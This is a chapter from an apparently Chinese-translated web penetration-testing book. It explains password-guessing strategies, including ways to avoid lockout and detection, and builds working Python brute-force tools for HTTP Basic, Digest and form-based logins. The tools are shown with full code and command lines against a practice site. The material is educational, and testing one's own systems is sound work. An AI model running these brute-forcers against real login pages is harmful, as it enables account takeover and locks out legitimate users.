Skip to content

Latest commit

 

History

History
424 lines (304 loc) · 20.4 KB

File metadata and controls

424 lines (304 loc) · 20.4 KB

五、密码测试

第 4 章资源发现中,我们学习了如何编写一个基本的 web 应用 BruteForcer,以帮助我们进行资源发现。

在本章中,我们将了解:

  • 密码攻击的工作原理
  • 我们的第一个密码暴力者
  • 添加对摘要身份验证的支持
  • 基于表单的身份验证

密码攻击的工作原理

在本节中,我们将了解什么是密码破解;它也被称为密码测试。我们将介绍在进行密码破解时可以采取的不同方法,最后,我们将学习密码策略和帐户锁定,这在计划密码攻击时非常重要。

密码破解

密码破解是针对 web 应用的最常见的暴力攻击类型。这是一种针对登录凭据的攻击,它利用了密码通常很弱这一事实,因为用户需要记住密码,并且需要一个难以猜出的单词。

密码破解通常是通过一个已知单词的字典来完成的,或者更准确地说,是通过一个已知和广泛使用的密码列表来完成的。这些列表是从不同在线服务泄漏的密码列表中选取最常用的密码创建的。密码列表还可能包括单词的变体,例如用数字替换字母生成的变体,例如用 0 替换字母,用 1 替换 I。

当我们计划密码攻击时,我们有不同的选择:

  • 垂直扫描:最常见、使用最多的是垂直扫描,它使用一个用户名,并尝试字典中的所有密码。
  • 水平扫描:基本上与垂直扫描相反。它接受一个密码,并针对所有用户名进行测试。这通常是为了防止多次无效登录尝试后锁定帐户。
  • 对角扫描:每次混合不同的用户名和密码,减少用户被检测或阻止的可能性。
  • 三维扫描:有时,对角线扫描是不够的,我们需要更进一步以防止检测。这就是三维扫描发挥作用的时候。这是水平、垂直或对角线的组合,但在这种情况下,我们有多台机器可以在其上启动请求,或者 HTTP 代理允许我们为每个请求使用不同的源 IP。
  • 四维扫描:这在源 IP 旋转或分布的基础上增加了每个请求的时间延迟。

密码策略和帐户锁定

密码策略是一组规则,旨在通过鼓励用户使用强密码并正确使用来增强计算机安全性。

密码策略可以是建议性的,也可以是强制性的,例如通过技术手段,如在创建帐户时或需要更改密码时强制执行。密码策略可以规定密码长度、区分大小写、大小写混合、允许的字符、字符、数字和符号、重复使用以前的密码、不能使用的以前的密码数量、黑名单密码,以及非常容易猜测的单词和组合,如密码123456

此外,密码策略还可以定义您需要更改密码的频率以及在 X 次错误尝试后是否锁定帐户等内容。现在我们了解了密码策略的工作原理。在启动密码破解测试时,我们必须小心,因为我们最终可能会阻止数千个帐户,这可能意味着渗透测试的结束,并给我们带来一些问题。

未经授权执行此操作是非法的。

我们的第一个密码暴力者

在本节中,我们将了解什么是基本身份验证,它是如何工作的,然后我们将为此方法创建第一个密码 BruteForcer。最后,我们将针对受害者 web 应用测试脚本。

基本身份验证

基本身份验证是对 web 应用资源实施访问控制的最简单技术之一。它是通过添加特殊的 HTTP 头来实现的,这在设计上是不安全的,因为凭证是用 Base64 方法编码发送的。编码意味着它可以很容易地反转。例如,我们可以看到基本身份验证标头的外观:

编码后的字符串可以解码,我们发现发送的密码等于admin123

通常,当您看到以等于结尾的字符串时,它可能是 base64 编码字符串。

创建密码破解程序

让我们创建密码破解程序:

  1. 让我们回到 Atom 编辑器并打开back2basics.py文件。在Section-5中,我们可以看到在import区域,我们没有任何新的内容,脚本的结构与前一个非常相似。
  2. 我们有显示bannerstart函数,它将通过命令行读取相同的参数,除了我们现在有user参数。然后,它将使用变量passwordsthreadsuserurl调用函数launcher_thread,这些变量对应于密码字典、线程数、要使用的用户名和目标 URL:
def start(argv):
    banner()
    if len(sys.argv) < 5:
        usage()
        sys.exit()
    try:
        opts, args = getopt.getopt(argv, "u:w:f:t:")
    except getopt.GetoptError:
        print "Error en arguments"
        sys.exit()

    for opt, arg in opts:
        if opt == '-u':
            user = arg
        elif opt == '-w':
            url = arg
        elif opt == '-f':
            dictio = arg
        elif opt == '-t':
            threads = arg
    try:
        f = open(dictio, "r")
        name = f.readlines()
    except:
        print"Failed opening file: " + dictio + "\n"
        sys.exit()
    launcher_thread(name, threads, user, url)
  1. 然后,在launcher_thread中,我们有一个while循环,该循环将继续,直到数组密码中没有任何单词:
def launcher_thread(names, th, username, url):
    global i
    i = []
    i.append(0)
    while len(names):
        if hit == "1":
            try:
                if i[0] < th:
                    n = names.pop(0)
                    i[0] = i[0] + 1
                    thread = request_performer(n, username, url)
                    thread.start()

            except KeyboardInterrupt:
                print "Brute forcer interrupted by user. Finishing attack.."
                sys.exit()
            thread.join()
        else:
            sys.exit()
    return

因此,对于数组中的每个单词,我们做一个pop,然后用nusernameurl实例化request_performer类。

  1. request_performer中,我们为对象定义了一些属性,然后执行 GET 请求:
class request_performer(Thread):
    def __init__(self, name, user, url):
        Thread.__init__(self)
        self.password = name.split("\n")[0]
        self.username = user
        self.url = url
        print "-" + self.password + "-"

    def run(self):
        global hit
        if hit == "1":
            try:
                r = requests.get(self.url, auth=(self.username, self.password))
                if r.status_code == 200:
                    hit = "0"
                    print "[+] Password found - " + colored(self.password, 'green') + " - !!!\r"
                    sys.exit()
                else:
                    print "Not valid " + self.password
                    i[0] = i[0] - 1 # Here we remove one thread from the counter
            except Exception, e:
                print e

这里重要的一点是auth参数,它告诉请求使用提供的用户名和密码进行基本身份验证。

然后,如果状态为200,则打印密码已找到并使用。我们使用变量hit来确定是否找到了有效密码并停止发送请求。

就这样,;现在,我们有了第一个基本的身份验证蛮力。让我们试试看。

在运行它之前,还记得上一节吗,当我们发现不同的目录时,有一个目录返回了 401 的状态码?这意味着它正在请求身份验证。

目录是/Admin,当我们尝试访问它时,可以看到认证弹出窗口:

我们去候机楼吧。我们将使用以下命令行运行它:

python back2basics.py -w http://www.scruffybank.com/Admin -u admin -t 5 -f pass.txt

这非常简单,但这仅用于演示目的。我们可以看到,在这种情况下,用户admin的密码是administrator

让我们在网站上试试。您将能够看到它的工作原理:

现在,您知道了如何在 web 应用中执行基本的身份验证密码测试。

添加对摘要身份验证的支持

在本节中,我们将开始学习什么是摘要身份验证。然后,我们将修改密码 bruteforce 以支持此方法,最后,我们将针对测试 web 应用测试新脚本。

什么是摘要认证?

摘要身份验证比基本身份验证更安全。它使用 MD5 对用户名和密码加上一个 nonce 进行哈希运算。nonce用于防止重播攻击,在用户请求受保护的资源后由服务器发送。浏览器使用以下代码创建响应:

最后,响应是HA1nonceHA2MD5散列。领域值定义保护空间。如果凭据适用于一个领域中的某个页面,则它们也适用于同一领域中的其他页面。现在,让我们在脚本中添加对摘要的支持。

向脚本中添加摘要身份验证

让我们回到我们的编辑器,打开back2digest.py文件。我们添加了几行代码以包括对摘要身份验证的支持。首先,我们添加了此导入:

from requests.auth import HTTPDigestAuth

前面的代码允许我们选择身份验证。在request_performer中,我们需要添加一个条件来检查用户是否选择运行digest身份验证攻击或basic

                if self.method == "basic":
                    r = requests.get(self.url, auth=(self.username, self.password))
                elif self.method == "digest":
                    r = requests.get(self.url, auth=HTTPDigestAuth(self.username, self.password))

我们在请求实例化中指定了不同的方法。在digest的情况下,略有不同,因为我们需要在auth参数中指定HTTPDigestAuth。另外,我们需要在start函数中添加新参数的处理程序,在getopt函数中添加-m,新参数将管理身份验证方法的类型。我们将它作为变量添加到每个函数中。

就这样。我们应该能够针对摘要保护的资源进行测试。让我们做吧。

让我们回到终端,但首先,让我们检查我们在robot.txt中找到的资源backoffice。我们可以看到它需要身份验证,对于用户来说,它与基本身份验证完全相同:

让我们看看服务器发送给我们的响应的标题。单击 Mozilla 浏览器右侧的“打开”菜单选项,选择“开发者网络”,然后单击“重新加载”按钮。取消“需要验证”窗口并选择行,如以下屏幕截图所示。我们可以看到,有一个 WWW-Authenticate 标头,其中包含一个Digest realm参数、noncealgorithm= MD5。让我们转到控制台来运行脚本:

让我们在目录后台运行它。我们使用与之前相同的参数运行back2digest.py,但是我们将资源更改为/backoffice而不是/admin

python back2digest.py -w http://www.scruffybank.com/backoffice -u administrator -t 5 -f pass.txt -m digest

我们将用户更改为administrator,我们保留5线程和相同的字典pass.text,最后,一个新的参数方法指示digest,并运行它:

这次运气不好。所有组合均无效;可能用户不存在。让我们试试另一个用户,例如admin。让我们开始吧。

很好,我们找到了用户admin的密码:

现在让我们在浏览器中试试这个。设置用户名为admin,密码为admin123

太好了,我们进去了。这里没什么可看的。现在您有了可以执行基本和摘要身份验证的密码 BruteForce。祝贺让我们继续添加更多功能。

基于表单的身份验证

在本节中,我们将学习如何在 web 应用中强制执行基于表单的身份验证。我们将开始学习什么是基于表单的身份验证,然后我们将修改以前的一个工具来启用此攻击。最后,我们将针对受害者 web 应用测试脚本,并对其进行微调以改进结果。

基于表单的身份验证概述

让我们从快速概述基于表单的身份验证开始。基于表单的身份验证是 web 应用中最常见和最广泛使用的身份验证方法。

该方法没有像我们之前学习的两种方法那样标准化,这意味着该方法的实现将有所不同。基本上,web 应用将呈现一个表单,提示用户输入用户名和密码。然后,该数据将进入服务器,在那里对其进行评估,如果凭据有效,它将向用户提供有效的会话 cookie,并允许用户访问受保护的资源。

让我们将此添加到上一个脚本中。所以,你可能在等我说,让我们回到编辑器,打开之前的脚本,但是没有。让我们停下来,评估一下我们最好的选择是什么。我们将要处理表单,对于如何处理表单上的身份验证没有标准,因此我们需要进行良好的筛选,以排除错误的尝试,并能够识别好的尝试。

因此,我们没有将所有过滤代码添加到前面的脚本中,而是将 post 处理和负载处理从Section 5添加到forzaBruta-forms.py脚本中。现在,返回编辑器并打开文件。让我们开始添加代码,使其能够强制登录表单。

我们没有添加新的import。我们可以进入start功能,增加getopt功能,处理payload岗位:

def start(argv):
    banner()
    if len(sys.argv) < 5:
        usage()
        sys.exit()
    try:
        opts, args = getopt.getopt(argv, "w:f:t:p:c:")
    except getopt.GetoptError:
        print "Error en arguments"
        sys.exit()
    hidecode = 000
    payload = ""
    for opt, arg in opts:
        if opt == '-w':
            url = arg
        elif opt == '-f':
            dict = arg
        elif opt == '-t':
            threads = arg
        elif opt == '-p':
            payload = arg
        elif opt == '-c':
            hidecode = arg
    try:
        f = open(dict, "r")
        words = f.readlines()
    except:
        print"Failed opening file: " + dict + "\n"
        sys.exit()
    launcher_thread(words, threads, url, hidecode, payload)

在这种情况下,它将是-p。如果存在-p,我们将其值分配给payload变量。我们通过payloadlauncher_thread

然后,在launcher_thread内,我们再次将其传递给request_performer

def launcher_thread(names, th, url, hidecode,payload):
    global i
    i = []
    resultlist = []
    i.append(0)
    print "-----------------------------------------------------------------------------------------------------------------------------------"
    print "Time" + "\t" + "\t code \t\tchars\t\twords\t\tlines"
    print "-----------------------------------------------------------------------------------------------------------------------------------"
    while len(names):
        try:
            if i[0] < th:
                n = names.pop(0)
                i[0] = i[0] + 1
                thread = request_performer(n, url, hidecode, payload)
                thread.start()

        except KeyboardInterrupt:
            print "ForzaBruta interrupted by user. Finishing attack.."
            sys.exit()
        thread.join()
    return

if __name__ == "__main__":
    try:
        start(sys.argv[1:])
    except KeyboardInterrupt:
        print "ForzaBruta interrupted by user, killing all threads..!!"

我们将payload添加到request_performerinit函数中。

然后我们检查有效负载是否为空。如果不是空的,我们用字典中的单词替换关键字FUZZ,否则我们不碰它,保持原样:

class request_performer(Thread):
    def __init__(self, word, url, hidecode, payload):
        Thread.__init__(self)
        self.word = word.split("\n")[0]
        self.url = url.replace('FUZZ', self.word)
        if payload != "":
            self.payload = payload.replace('FUZZ', self.word)
        else:
        self.payload=payload
        self.hidecode = hidecode

然后,我们转到run方法,我们需要一个条件来告诉我们何时使用post和何时使用get。我们可以通过检查self.payload是否为空来实现这一点,在这种情况下,我们使用get

    def run(self):
        try:
            start = time.time()
            if self.payload == "":
                 r = requests.get(self.url)
                 elaptime = time.time()
                 totaltime = str(elaptime - start)[1:10]

如果它不是空的,我们将使用post请求。

对于post请求,我们需要字典形式的有效负载:

            else:
                list=self.payload.replace("="," ").replace("&"," ").split(" ")
                payload = dict([(k, v) for k,v in zip (list[::2], list[1::2])])
                r = requests.post(self.url, data = payload)
                elaptime = time.time()
                totaltime = str(elaptime - start)[1:10]

现在,我们将它作为一个带有&=符号的字符串,因此我们将用一个空格替换符号,然后我们将使用空格拆分字符串,创建一个元素列表。

然后,我们使用该负载创建一个post请求,这些都是能够对登录表单执行密码强制的必要更改。现在,最好针对我们的受害者 web 应用进行测试。让我们做吧。

我们如何对表单进行暴力攻击?让我们打开一个有登录表单的页面,在我们的例子中是www.scruffybank.com/login.php

在页面上单击鼠标右键,然后选择“查看页面源”:

现在,我们需要找到表单操作,也就是说,凭证将被发送到哪里进行验证。在这种情况下,它是check_login.php

我们还需要变量的名称,在本例中为usernamepassword

这是我们发动攻击所需要的数据。

让我们回到终端,使用以下命令行forzaBruta-forms.py运行脚本,后跟相同的 URL。这一次,我们将登录名更改为check_login.php。我们将线程保留为5。在这种情况下,我们在post的有效载荷中有usernamepassword参数:

python forzaBruta-forms.py -w http://www.scruffybank.com/check_login.php -t 5 -f pass.txt -p "username=admin&password=FUZZ"

我们需要将参数与一个&连接起来。weaksource.txt是不同服务人员使用的最脆弱密码列表。现在,让我们点燃这个。我们可以看到所有的结果都是302

所以,按代码过滤对我们没有帮助。我们可以过滤掉等于2373chars,我们知道这是我们失败的尝试。

让我们修改代码以过滤chars,而不是使用命令行参数-c过滤代码。我们将代码更改为按chars过滤。这样,我们就可以通过chars进行过滤,而无需修改大部分代码。返回编辑器,将行self.hidecode !=code修改为self.hidecode != chars:

            if self.hidecode != chars:
                if '200' <= code < '300':
                    print totaltime + "\t" + colored(code,'green') + " \t\t" + chars + " \t\t" + words + " \t\t " + lines +"\t" + r.headers["server"] + "\t" + self.word
                elif '400' <= code < '500':
                    print totaltime + "\t" + colored(code,'red') + " \t\t" + chars + " \t\t" + words + " \t\t " + lines + "\t" + r.headers["server"] + "\t" + self.word
                elif '300' <= code < '400':
                    print totaltime + "\t" + colored(code,'blue') + " \t\t" + chars + " \t\t" + words + " \t\t " + lines + "\t"+ r.headers["server"] + "\t" + self.word
            else:
                pass
            i[0] = i[0] - 1 # Here we remove one thread from the counter
        except Exception, e:
            print e

让我们保存这个。现在,我们将命令行更改为添加-c 2373以过滤所有结果,然后再次运行它:

python forzaBruta-forms.py -w http://www.scruffybank.com/check_login.php -t 5 -f pass.txt -p "username=admin&password=FUZZ" -c 2373

含糖的我们有用户名和密码:

祝贺您,您现在知道如何针对三种最常见的 web 应用身份验证方法测试密码安全性了!在本节中,我们还利用了以前的工作。

总结

在本章中,我们了解了 web 应用中常用的不同身份验证方法,并创建了一个工具来测试基本身份验证和摘要身份验证。最后,我们创建了一个登录表单身份验证 BruteForce。

第 6 章检测和利用 SQL 注入漏洞中,我们将学习如何检测和利用 SQL 注入漏洞。